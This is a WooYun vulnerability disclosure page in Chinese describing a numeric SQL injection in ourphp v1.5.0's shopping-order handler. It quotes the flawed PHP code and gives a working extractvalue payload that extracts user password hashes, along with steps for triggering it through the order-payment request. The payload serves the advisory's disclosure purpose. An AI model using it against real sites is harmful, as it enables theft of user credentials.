当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141538

漏洞标题:ourphp v1.5.0 sql注入#2(demo演示)

相关厂商:ourphp.net

漏洞作者: 不能忍

提交时间:2015-09-16 14:10

修复时间:2015-12-20 14:13

公开时间:2015-12-20 14:13

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-16: 细节已通知厂商并且等待厂商处理中
2015-09-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

详细说明:

漏洞文件:/function/ourphp_shoppingorders.class.php //149行

}elseif ($_GET["ourphp_cms"] == "buyok"){
if (!empty($_POST["id"])){
$id = implode(',',$_POST["id"]); //从这里传入,需要传数组
}else{
$id = 0;
}

if ($id == 0){
exit("no!");
}

$id = str_replace("'","ourphp",$id); //过滤' 防止注入
$query = $db-> sqllist("select `OP_Ordersnum`,`OP_Ordersusermarket`,`OP_Ordersfreight`,`OP_Ordersid`,`OP_Ordersproductatt` from `ourphp_orders` where `id` in (".$id.")");
$zj = '';
while($ourphp_rs = mysql_fetch_array($query)){


这里可以看到确实是过滤了'防止注入,可是仔细看
$query = $db-> sqllist("select `OP_Ordersnum`,`OP_Ordersusermarket`,`OP_Ordersfreight`,`OP_Ordersid`,`OP_Ordersproductatt` from `ourphp_orders` where `id` in (".$id.")");
这显然是数字型注入,根本不需要'
所以:
&id[]=1) and extractvalue(1, concat(0x5c, (select a.OP_Userpass from (select tmp.* from ourphp_user tmp limit 1)a) ) )#
利用方法很简单,注册一个帐号点我的订单->未付款商品同意付款->抓包

漏洞证明:

来一发demo演示就好了

QQ截图20150916131707.jpg


2.jpg

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-20 14:13

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无